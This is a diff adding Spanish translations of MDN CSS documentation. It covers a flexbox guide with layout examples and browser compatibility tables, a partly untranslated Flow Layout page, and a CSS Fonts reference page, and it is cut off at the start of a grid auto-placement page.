+<p><span class="seoSummary">La propiedad <strong>Flexible Box</strong>, o <strong>flexbox</strong>, de CSS3 es un <a href="https://developer.mozilla.org/es/docs/Web/CSS/Layout_mode">modo de diseño</a> que permite colocar los elementos de una página para que se comporten de forma predecible cuando el diseño de la página debe acomodarse a diferentes tamaños de pantalla y diferentes dispositivos. Para muchas aplicaciones, el modelo "caja flexible" produce una mejora sobre el modelo "bloque" porque no utiliza la propiedad <span style="font-family: courier new,andale mono,monospace;">float</span>, ni hace que los márgenes del contenedor flexible interfieran con los márgenes de sus contenidos.</span></p>
+
+<p>Muchos diseñadores verán que el modelo "caja flexible" es más sencillo de utilizar. Los elementos "hijos" de una "caja flexible" pueden colocarse en cualquier dirección y pueden tener dimensiones flexibles para adapterse al espacio visible. Posicionar los elementos "hijos" es por tanto mucho más sencillo, y los diseños complejos pueden hacerse más fácilmente y con código más limpio, ya que el orden de visualización de los elementos es independiente del orden que estos tengan en el código fuente. Esta independencia afecta intencionadamente únicamente a la representación visual, dejando el orden de locución y navegación a lo que diga el código fuente.</p>
+
+<div class="note"><strong>Nota:</strong> Aunque la especificación del diseño de "cajas flexibles" de CSS está en fase de "candidata a recomendación", no todos los navegadores la han implementado. La implementación de WebKit requiere el prefijo <code>-webkit</code>; Internet Explorer implementa una versión antigua de la especificación, con prefijo; Opera 12.10 implementa la última versión, sin prefijo. Revisa la tabla de compatibilidad de cada propiedad para saber cuál es el estado actual de compatibilidad.</div>
+
+<h2 id="El_concepto_de_cajas_flexibles">El concepto de "cajas flexibles"</h2>
+
+<p>Lo que caracteriza un diseño flexible es su habilidad para alterar el ancho y alto de sus elementos para ajustarse lo mejor posible al espacio disponible en cualquier dispositivo. Un contenedor flexible expande sus elementos para rellenar el espacio libre, o los comprime para evitar que rebasen el área prevista.</p>
+
+<p>El algoritmo del modelo de diseño de "cajas flexibles" no parte de niguna dirección predeterminada, al contrario de lo que ocurre con el modelo "bloque", que asume una disposición vertical de los elementos, o lo que pasa con el modelo "en línea", que asume una disposición horizontal. Mientras que el modelo "bloque" funciona bien para páginas, se queda muy corto cuando se trata de aplicaciones en las que hay que tener en cuenta el cambio de orientación del dispositivo o los cambios de tamaño realizados por los gestos del usuario. El modelo de "cajas flexibles" es más apropiado para diseños de pequeña escala, mientras que el (emergente) modelo "rejilla" es adecuado para diseños de gran escala. Ambos son parte del gran esfuerzo que el "CSS Working Group" está realizando para proveer de mayor interoperabilidad a las aplicaciones web con todo tipo de usuarios, distintos modos de escritura, y otras necesidades de flexibilidad.</p>
+
+<h2 id="Vocabulario_de_cajas_flexibles">Vocabulario de "cajas flexibles"</h2>
+
+<p>Aunque al hablar de las "cajas flexibles" nos olvidamos de términos como "horizontal/en línea" y "vertical/bloque", se hace necesario emplear una nueva terminología. Fíjate en el siguiente diagrama para afianzar el vocabulario empleado en sus elementos. Se muestra un contenedor flexible que tiene una <code>flex-direction</code> de tipo <code>row</code>, que significa que los elementos flexibles se muestra uno a continuación del otro horizontalmente a lo largo del eje principal (main axis) de acuerdo con el modo de escritura preestablecido, y en este caso, la dirección en que el texto de los elementos fluye es de izquierda-a-derecha.</p>
+
+<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png"></p>
+
+<dl>
+ <dt>Contenedor flexible (Flex container)</dt>
+ <dd>El elemento "padre" que contiene los elementos flexibles. Un contenedor flexible se define usando los valores <code>flex</code> o <code>inline-flex</code> en la propiedad <a href="/en/CSS/display" rel="internal" title="display"><code>display</code></a>.</dd>
+ <dt>Elemento flexible (Flex item)</dt>
+ <dd>
+ <p>Cada hijo de un contenedor flex se convierte en un elemento flexible. Si hay texto directamente incluido en el contenedor flexible, se envuelve automáticamente en un elemento flexible anónimo.</p>
+ </dd>
+ <dt>Ejes</dt>
+ <dd>
+ <p>Cada diseño de "caja flexible" sigue dos ejes. El <strong>eje principal</strong> es el eje a lo largo del cual los elementos flexibles se suceden unos a otros. El <strong>eje secundario</strong> es el eje perpendicular al <strong>eje principal</strong>.</p>
+
+ <ul>
+  <li>La propiedad <code><a href="/en/CSS/flex-direction" rel="internal" title="flex-direction">flex-direction</a></code> establece el eje principal.</li>
+  <li>La propiedad <a href="/en/CSS/justify-content" rel="internal" title="en/CSS/justify-content"><code>justify-content</code></a> define cómo los elementos flexibles se disponen a lo largo del eje principal en la línea en curso.</li>
+  <li>La propiedad <a href="/en/CSS/align-items" title="en/CSS/align-items"><code>align-items</code></a> define cómo los elementos flexibles se disponen a lo largo del eje secundario de la línea en curso.</li>
+  <li>La propiedad <a href="/en/CSS/align-self" title="en/CSS/align-self"><code>align-self</code></a> define cómo cada elemento flexible se alinea respecto al eje secundario, y sustituye al valor por defecto establecido por <code>align-items.</code></li>
+ </ul>
+ </dd>
+ <dt>Direcciones</dt>
+ <dd>
+ <p>Los lados <strong>inicio principal</strong>/<strong>fin principal (main start/main end) </strong>e <strong>inicio secundario</strong>/<strong>fin </strong><strong>secundario (cross start/cross end)</strong> del contenedor flexible describen el origen y final del flujo de los elementos flexibles. Estos siguen el eje principal y secundario según el vector establecido por <code>writing-mode</code> (izquierda-a-derecha, derecha-a-izquierda, etc.).</p>
+
+ <ul>
+  <li>La propiedad <a href="/en/CSS/order" rel="internal" title="en/CSS/order"><code>order</code></a> asigna elementos a grupos ordinales y determina qué elementos aparecen primero.</li>
+  <li>La propiedad <a href="/en/CSS/flex-flow" rel="internal" title="flex-flow"><code>flex-flow</code></a> combina las propiedades <a href="/en/CSS/flex-direction" rel="internal" title="flex-direction"><code>flex-direction</code></a> y <a href="/en/CSS/flex-wrap" rel="internal" title="flex-wrap"><code>flex-wrap</code></a> para colocar los elementos flexibles.</li>
+ </ul>
+ </dd>
+ <dt>Líneas</dt>
+ <dd>
+ <p>Los elementos flexibles pueden disponerse en una sola o varias líneas de acuerdo con la propiedad <a href="/en/CSS/flex-wrap" rel="internal" title="flex-wrap"><code>flex-wrap</code></a>, que controla la dirección del eje secundario y la dirección en la que las nuevas líneas se apilan.</p>
+ </dd>
+ <dt>Dimensiones</dt>
+ <dd>
+ <p>Los términos equivalentes a "altura" y "anchura" usados en los elementos flexibles son <strong>tamaño principal (main size)</strong> and <strong>tamaño secundario (cross size),</strong> que respectivamente siguen al eje principal y al eje secundario del contenedor flexible.</p>
+
+ <ul>
+  <li>La propiedades <code><a href="/en/CSS/min-height" title="/en/CSS/min-height">min-height</a></code> y <code><a href="/en/CSS/min-width" title="/en/CSS/min-width">min-width</a></code> tienen un nuevo valor, <code>auto</code> que establece el tamaño mínimo de un elemento flexible.</li>
+  <li>La propiedad <a href="/en/CSS/flex" rel="internal" title="en/CSS/flex"><code>flex</code></a> combina las propiedades <code><a href="/en/CSS/flex-basis" rel="internal" title="en/CSS/flex-basis">flex-basis</a></code>, <a href="/en/CSS/flex-grow" rel="internal" title="en/CSS/flex-grow"><code>flex-grow</code></a>, y <a href="/en/CSS/flex-shrink" rel="internal" title="en/CSS/flex-shrink"><code>flex-shrink</code></a> para establecer el grado de flexibilidad de los elementos flexibles.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Diseñando_una_caja_flexible">Diseñando una "caja flexible"</h2>
+
+<p>Para indicar que unos elementos tienen este estilo CSS, asigna la propiedad <a href="/en/CSS/display" title="/en/CSS/display">display</a> así:</p>
+
+<pre class="brush: css">display : flex</pre>
+
+<p>o</p>
+
+<pre class="brush: css">display : inline-flex</pre>
+
+<p>Haciendo esto, se define el elemento como contenedor flexible y todos sus "hijos" como elementos flexibles. El valor <code>flex</code> hace que el contenedor flexible sea un bloque dentro del elemento "padre" al que pertenezca. El valor <code>inline-flex</code> hace que el contenedor flexible sea un elemento "en línea" dentro del elemento "padre" al que pertenezca.</p>
+
+<div class="note"><strong>Nota:</strong> Cuando utilices un prefijo para el tipo de navegador, ponlo en la propiedad "display" no en el atributo "display". Por ejemplo, <code>display : -webkit-flex</code>.</div>
+
+<h2 id="Consideraciones_de_los_elementos_flexibles">Consideraciones de los elementos flexibles</h2>
+
+<p>El texto que se encuentre directamente dentro de un contenedor flexible, será automáticamente envuelto en un elemento flexible anónimo. Sin embargo, si un elemento flexible contiene solamente espacios en blanco no será mostrado, como si tuviera la propiedad <code style="color: rgb(93,86,54); font-size: 14px;">display:none</code>.</p>
+
+<p>Los "hijos" de un contenedor flexible que tengan un posicionamiento absoluto, se situarán de manera que su posición estática se determine en referencia a la esquina del <strong>inicio principal (main start)</strong> de su contenedor flexible.</p>
+
+<p>Actualmente, debido a un problema conocido, asignar <code style="font-size: 14px;">visibility:collapse</code> a un elemento flexible causa que sea tratado como si fuera <code style="font-size: 14px;">display:none</code> en vez de lo que se supone que debería ocurrir, es decir, como si fuera <code style="font-size: 14px;">visibility:hidden</code>. La alternativa mientras se resuelve este problema es usar <code>visibility:hidden</code> para elementos flexibles que deban comportarse como <code>visibility:collapse</code>.</p>
+
+<p>Los márgenes de elementos flexibles adyacentes no se colapsan. Usando márgenes <code>auto</code> se absorbe el espacio extra vertical y horizontalmente y puede ser utilizado para alinear o separar elementos flexibles adyacentes. Ver <a href="http://dev.w3.org/csswg/css3-flexbox/#auto-margins" title="http://dev.w3.org/csswg/css3-flexbox/#auto-margins">Aligning with 'auto' margins</a> en la especificación "W3C Flexible Box Layout Model" para más detalles al respecto.</p>
+
+<p>Para asegurar un tamaño mínimo por defecto de los elementos flexibles, usa <code>min-width:auto</code> y/o <code>min-height:auto</code>. Para los elementos flexibles, el valor de atributo <code>auto</code> calcula la mínima anchura/altura del elemento para que no sea menor que la anchura/altura de su contenido, garantizando que el elemento es mostrado suficientemente grande como para que se vea su contenido. Ver {{cssxref("min-width")}}  y {{cssxref("min-height")}} para más detalles al respecto.</p>
+
+<p>Las propiedades de alineación de "cajas flexibles" realizan un "verdadero" centrado en CSS. Esto significa que los elementos flexibles permanecerán centrados, incluso si estos rebasan su contenedor flexible. Esto puede llegar a ser un problema, ya que si sobrepasan el tope superior de la página o el izquierdo (en escritura LTR de izquierda-a-derecha) o el derecho (en escritura RTL de derecha-a-izquierda), no se puede desplazar hacia ese área, incluso habiendo contenido allí. En el futuro, las propiedades de alineación se ampliarán para que tengan una opción "safe" (seguro) para controlar esta situación. De momento, si esto te preocupa, puedes usar los márgenes para conseguir el centrado, ya que estos responderán de modo seguro parando el centrado si se sobrepasan los límites. En vez de usar las propiedades <code>align-</code>, simplemente pon márgenes automáticos en los elementos flexibles que quieras centrar. En vez de usar las propiedades <code>justify-</code>, pon márgenes automáticos en los límites exteriores del primer y último elemento flexible del contenedor flexible. Los márgenes automáticos se adaptarán asumiendo el espacio sobrante, centrando los elementos flexibles donde sobre espacio, y cambiando a alineación normal donde no sobre espacio. Sin embargo, si tratas de reemplazar <code>justify-content</code> con "centrado-basado-en-márgenes" en una "caja flexible" multi-línea, probablemente no funcionará, ya que tendrías que poner márgenes en el primer y último elemento de cada línea. A menos que puedas predecir qué elementos encajarán en cada línea, no tendrás una respuesta fiable usando el "<span style="line-height: inherit;">centrado-basado-en-márgenes</span><span style="line-height: inherit;">" en el eje principal al reemplazar la propiedad </span><code style="font-size: 14px; line-height: inherit;">justify-content</code><span style="line-height: inherit;">.</span></p>
+
+<p>Recuerda que mientras el orden en que se muestran los elementos es independiente de su orden en el código fuente, esta independecia afecta solamente a la representación visual, y no al orden de locución y navegación que seguirán el orden establecido en el código fuente. Incluso la propiedad {{cssxref("order")}} no afectará a la secuencia de locución ni de navegación. Así que los desarrolladores deben preocuparse del orden de los elementos adecuadamente en el código fuente para que no se deteriore la accesibilidad del documento. </p>
+
+<h2 id="Propiedades_de_las_cajas_flexibles">Propiedades de las "cajas flexibles"</h2>
+
+<h3 id="Propiedades_que_no_afectan_a_las_cajas_flexibles">Propiedades que no afectan a las "cajas flexibles"</h3>
+
+<p>Como las "cajas flexibles" emplean un algoritmo diferente, alguna propiedades no tienen sentido para un contenedor flexible.</p>
+
+<ul>
+ <li>Propiedades column-* del <a href="/en/CSS/Using_CSS_multi-column_layouts" title="/en/CSS/Using_CSS_multi-column_layouts">Módulo Multicol</a> no tienen ningún efecto en un elemento flexible.</li>
+ <li>{{cssxref("float")}} y {{cssxref("clear")}} no tienen ningún efecto en un elemento flexible. Usar <code>float</code> causa que la propiedad <code>display</code> del elemento se comporte como <code>block</code>.</li>
+ <li>{{cssxref("vertical-align")}} no tiene efecto en la alineación de los elementos flexibles.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico_flex">Ejemplo básico "flex"</h3>
+
+<p>Este ejemplo básico muestra como aplicar "flexibilidad" a un elemento y como sus "hijos" se comportan flexiblemente. </p>
+
+<pre class="brush:html;">​&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+
+   .flex
+   {
+      /* basic styling */
+      width: 350px;
+      height: 200px;
+      border: 1px solid #555;
+      font: 14px Arial;
+
+      /* flexbox setup */
+      display: -webkit-flex;
+      -webkit-flex-direction: row;
+
+      display: flex;
+      flex-direction: row;
+   }
+
+   .flex &gt; div
+   {
+      -webkit-flex: 1 1 auto;
+      flex: 1 1 auto;
+
+      width: 30px; /* To make the transition work nicely.  (Transitions to/from
+                      "width:auto" are buggy in Gecko and Webkit, at least.
+                      See http://bugzil.la/731886 for more info.) */
+
+      -webkit-transition: width 0.7s ease-out;
+      transition: width 0.7s ease-out;
+   }
+
+   /* colors */
+   .flex &gt; div:nth-child(1){ background : #009246; }
+   .flex &gt; div:nth-child(2){ background : #F1F2F1; }
+   .flex &gt; div:nth-child(3){ background : #CE2B37; }
+
+   .flex &gt; div:hover
+   {
+        width: 200px;
+   }
+
+   &lt;/style&gt;
+
+ &lt;/head&gt;
+ &lt;body&gt;
+  &lt;p&gt;Flexbox nuovo&lt;/p&gt;
+  &lt;div class="flex"&gt;
+    &lt;div&gt;uno&lt;/div&gt;
+    &lt;div&gt;due&lt;/div&gt;
+    &lt;div&gt;tre&lt;/div&gt;
+  &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Ejemplo_de_Diseño_del_Santo_Gríal">Ejemplo de "Diseño del Santo Gríal"</h3>
+
+<p>Este ejemplo muestra como la "caja flexible" proporciona la habilidad de cambiar dinámicamente el diseño para distintas resoluciones de pantalla. El diagrama siguiente ilustra la transformación.</p>
+
+<p><img alt="HolyGrailLayout.png" class="default internal" src="/files/3760/HolyGrailLayout.png"></p>
+
+<p>Aquí se muestra el caso en que el diseño de la página adaptado a un navegador tiene que mostrarse óptimamente en un smartphone. No solamente los elementos se reducen de tamaño, sino que el orden en que se muestran también cambia. La "caja flexible" lo hace muy sencillo.</p>
+
+<pre class="brush:html;">​
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+
+  body {
+   font: 24px Helvetica;
+   background: #999999;
+  }
+
+  #main {
+   min-height: 800px;
+   margin: 0px;
+   padding: 0px;
+   display: -webkit-flex;
+   display:         flex;
+   -webkit-flex-flow: row;
+           flex-flow: row;
+   }
+
+  #main &gt; article {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #cccc33;
+   border-radius: 7pt;
+   background: #dddd88;
+   -webkit-flex: 3 1 60%;
+           flex: 3 1 60%;
+   -webkit-order: 2;
+           order: 2;
+   }
+
+  #main &gt; nav {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #8888bb;
+   border-radius: 7pt;
+   background: #ccccff;
+   -webkit-flex: 1 6 20%;
+           flex: 1 6 20%;
+   -webkit-order: 1;
+           order: 1;
+   }
+
+  #main &gt; aside {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #8888bb;
+   border-radius: 7pt;
+   background: #ccccff;
+   -webkit-flex: 1 6 20%;
+           flex: 1 6 20%;
+   -webkit-order: 3;
+           order: 3;
+   }
+
+  header, footer {
+   display: block;
+   margin: 4px;
+   padding: 5px;
+   min-height: 100px;
+   border: 1px solid #eebb55;
+   border-radius: 7pt;
+   background: #ffeebb;
+   }
+
+  /* Too narrow to support three columns */
+  @media all and (max-width: 640px) {
+
+   #main, #page {
+    -webkit-flex-flow: column;
+            flex-flow: column;
+   }
+
+   #main &gt; article, #main &gt; nav, #main &gt; aside {
+    /* Return them to document order */
+    -webkit-order: 0;
+            order: 0;
+   }
+
+   #main &gt; nav, #main &gt; aside, header, footer {
+    min-height: 50px;
+    max-height: 50px;
+   }
+  }
+
+ &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+ &lt;header&gt;header&lt;/header&gt;
+ &lt;div id='main'&gt;
+    &lt;article&gt;article&lt;/article&gt;
+    &lt;nav&gt;nav&lt;/nav&gt;
+    &lt;aside&gt;aside&lt;/aside&gt;
+ &lt;/div&gt;
+ &lt;footer&gt;footer&lt;/footer&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Área_de_juego">Área de juego</h2>
+
+<p>Hay varias áreas de juego de "cajas flexibles" disponibles on-line para experimentar:</p>
+
+<ul>
+ <li><a href="http://demo.agektmr.com/flexbox/" title="http://demo.agektmr.com/flexbox/">Flexbox Playground</a></li>
+ <li><a href="http://the-echoplex.net/flexyboxes" title="http://the-echoplex.net/flexyboxes">Flexy Boxes</a></li>
+</ul>
+
+<h2 id="Cosas_a_tener_en_mente">Cosas a tener en mente</h2>
+
+<p>El algoritmo de las "cajas flexibles" puede ser un poco complejo de entender a veces. Hay una serie de cosas a considerar para evitar "sorpresas" cuando se utilizan las "cajas flexibles".</p>
+
+<p>Las "cajas flexibles" se comportan en función del <a href="https://developer.mozilla.org/en-US/docs/CSS/writing-mode" title="https://developer.mozilla.org/en-US/docs/CSS/writing-mode">modo de escritura</a> establecido. Esto siginifica que <strong>inicio principal</strong> (<strong>main start</strong>) y <strong>fin principal</strong> (<strong>main end</strong>) se disponen de según la posición de <strong>inicio</strong> (<strong>start</strong>) y <strong>fin</strong> (<strong>end</strong>).</p>
+
+<p><strong>inicio secundario (cross start)</strong> y <strong>fin secundario</strong> (<strong>cross end)</strong> confían en la definición de la posición <strong>inicio</strong> (<strong>start)</strong> o <strong>antes</strong> (<strong>before)</strong> que depende del valor de <a href="/en/CSS/direction" title="direction"><code>direction</code></a>.</p>
+
+<p>Los saltos de página son posibles en el diseño de "cajas flexibles" siempre que la propiedad <code>break-</code> lo permita. Las propiedades CSS3 <code>break-after</code>, <code>break-before</code> y <code>break-inside</code> así como las propiedades CSS 2.1 <code>page-break-before</code>, <code>page-break-after</code> y <code>page-break-inside</code> se aceptan en los contenedores flexibles, también en los elementos flexibles que ellos contienen, y también en los elementos que esos elementos flexibles a su vez contienen.</p>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caraterística</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatGeckoDesktop("18.0") }}{{ property_prefix("-moz") }}(Behind a pref) [2]<br>
+    {{ CompatGeckoDesktop("22.0") }}</td>
+   <td>21.0{{ property_prefix("-webkit") }}</td>
+   <td>10{{ property_prefix("-ms") }}(partial)</td>
+   <td>12.1</td>
+   <td>3.1{{ property_prefix("-webkit") }}(partial)<br>
+    6.1{{ property_prefix("-webkit") }}<br>
+    9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caraterística</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatGeckoMobile("18.0") }}{{ property_prefix("-moz") }}(Behind a pref) [2]<br>
+    {{ CompatGeckoMobile("22.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>10{{ property_prefix("-ms") }}(partial)<br>
+    11</td>
+   <td>12.1</td>
+   <td>
+    <p>3.2{{ property_prefix("-webkit") }}(partial)<br>
+     7.1{{ property_prefix("-webkit") }}<br>
+     9.0</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas">Notas</h3>
+
+<p>[1] Internet Explorer 10 y Safari soportan un antiguo borrador de la especificación que es incompatible. No han sido actualizados para soportar la versión final.</p>
+
+<p>[2] Firefox soporta solamente la "caja flexible" con una sola línea. Para activar el soporte de "caja flexible" el usuario tiene que cambiar la preferencia about:config "layout.css.flexbox.enabled" a <code>true</code>.</p>
+
+<p>[3] El navegador de Android hasta la versión 4.3 soporta un borrador antiguo e incompatible de la especificación. Android 4.4 ha sido actualizado para dar soporte a la versión final.</p>
+
+<p>[4] Mientras que en la implementación inicial en Opera 12.10 <code>flexbox </code>no estaba en el prefijo, obtuvo prefijos en las versiones de la 15 a la 16 de Opera y 15 a 19 de Opera Mobile con {{property_prefix("-webkit")}}. Este prefijo, fue eliminado de nuevo en Opera 17 y Opera Mobile 24.</p>
+
+<p>[5] Hasta Firefox 29, especificar <code>visibility: collapse</code> en un elemento flex causaba que fuera tratado como si fuera <code>display: none </code>en vez del comportamiento pretendido, tratándolo como si fuera <code>visibility: hidden</code>. El método alternativo sugerido es usar <code>visibility: hidden</code> para los elementos flex que debieran comportarse como si huberan sido designados <code>visibility: collapse</code>. Para más información, ver {{bug(783470)}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://github.com/philipwalton/flexbugs">El Proyecto Flexbugs</a> para información de errores en implementación de flexbox en navegadores.</li>
+</ul>
diff --git a/files/es/web/css/css_flow_layout/index.html b/files/es/web/css/css_flow_layout/index.html
new file mode 100644
index 0000000000..45daafc7a4
--- /dev/null
+++ b/files/es/web/css/css_flow_layout/index.html
@@ -0,0 +1,43 @@
+---
+title: CSS Flow Layout
+slug: Web/CSS/CSS_Flow_Layout
+translation_of: Web/CSS/CSS_Flow_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">El <em>Flujo Normal</em>, o también Flow Layout, es la forma en que los elementos de línea y de bloque son presentados en una página sin que haya cambios en su diseño. El flujo es esencialmente un grupo de elementos que se perciben entre sí e interactúan entre ellos en nuestro diseño. Cuando uno de ellos se encuentra <em>fuera del flujo</em>, éste se comporta de manera independiente.</p>
+
+<p>In normal flow, <strong>inline</strong> elements display in the inline direction, that is in the direction  words are displayed in a sentence according to the <a href="/en-US/docs/Web/CSS/CSS_Writing_Modes">Writing Mode</a> of the document. <strong>Block</strong> elements display one after the other, as paragraphs do in the Writing Mode of that document. In English therefore, inline elements display one after the other, starting on the left, and block elements start at the top and move down the page.</p>
+
+<h2 id="Ejemplo_Básico">Ejemplo Básico</h2>
+
+<p>The following example demonstrates Block and Inline Level boxes. The two paragraph elements with a green border are Block Level, displaying one under the other.</p>
+
+<p>The first sentence also includes a span element with a blue background. This is inline level and therefore displays in place in the sentence.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}</p>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting Contexts Explained</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">Flow Layout and Writing Modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow">Flow Layout and Overflow</a></li>
+</ul>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Glossary_Entries">Glossary Entries</h3>
+
+<ul>
+ <li>{{Glossary("Block/CSS", "Block (CSS)")}}</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+</ol>
+</section>
diff --git a/files/es/web/css/css_fonts/index.html b/files/es/web/css/css_fonts/index.html
new file mode 100644
index 0000000000..f3d6ebe59a
--- /dev/null
+++ b/files/es/web/css/css_fonts/index.html
@@ -0,0 +1,148 @@
+---
+title: CSS Fonts
+slug: Web/CSS/CSS_Fonts
+tags:
+  - CCS
+  - CSS Fonts
+  - Reference
+translation_of: Web/CSS/CSS_Fonts
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Fonts</strong> es el modulo CSS que define todo lo relacionado con los recursos tipográficos, sus propiedades y como son cargados. Permite definir el estilo de una fuente, su familia tipográfica, tamaño o peso, y las variantes que puede tener la fuente. También permite definir la altura de una línea.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("font-family")}}</li>
+ <li>{{cssxref("font-feature-settings")}}</li>
+ <li>{{cssxref("font-kerning")}}</li>
+ <li>{{cssxref("font-language-override")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-size-adjust")}}</li>
+ <li>{{cssxref("font-stretch")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-synthesis")}}</li>
+ <li>{{cssxref("font-variant")}}</li>
+ <li>{{cssxref("font-variant-alternates")}}</li>
+ <li>{{cssxref("font-variant-caps")}}</li>
+ <li>{{cssxref("font-variant-east-asian")}}</li>
+ <li>{{cssxref("font-variant-ligatures")}}</li>
+ <li>{{cssxref("font-variant-numeric")}}</li>
+ <li>{{cssxref("font-variant-position")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("line-height")}}</li>
+</ul>
+</div>
+
+<h3 id="Atributos">Atributos</h3>
+
+<dl>
+ <dt>{{cssxref("@font-face")}}</dt>
+ <dd>
+ <div class="index">
+ <ul>
+  <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+  <li>{{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}</li>
+  <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+  <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+  <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+  <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+  <li>{{cssxref("@font-face/src", "src")}}</li>
+  <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{cssxref("@font-feature-values")}}</dt>
+</dl>
+
+<h2 id="Guia">Guia</h2>
+
+<p><em>None.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#font-shorthand', '')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font', '')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>
+    <p>Definición<br>
+     inicial</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte<br>
+    básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html b/files/es/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html
new file mode 100644
index 0000000000..3b0aac0c26
--- /dev/null
+++ b/files/es/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html
@@ -0,0 +1,613 @@
+---
+title: Colocación automática en diseño de cuadrícula CSS
+slug: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout
+---
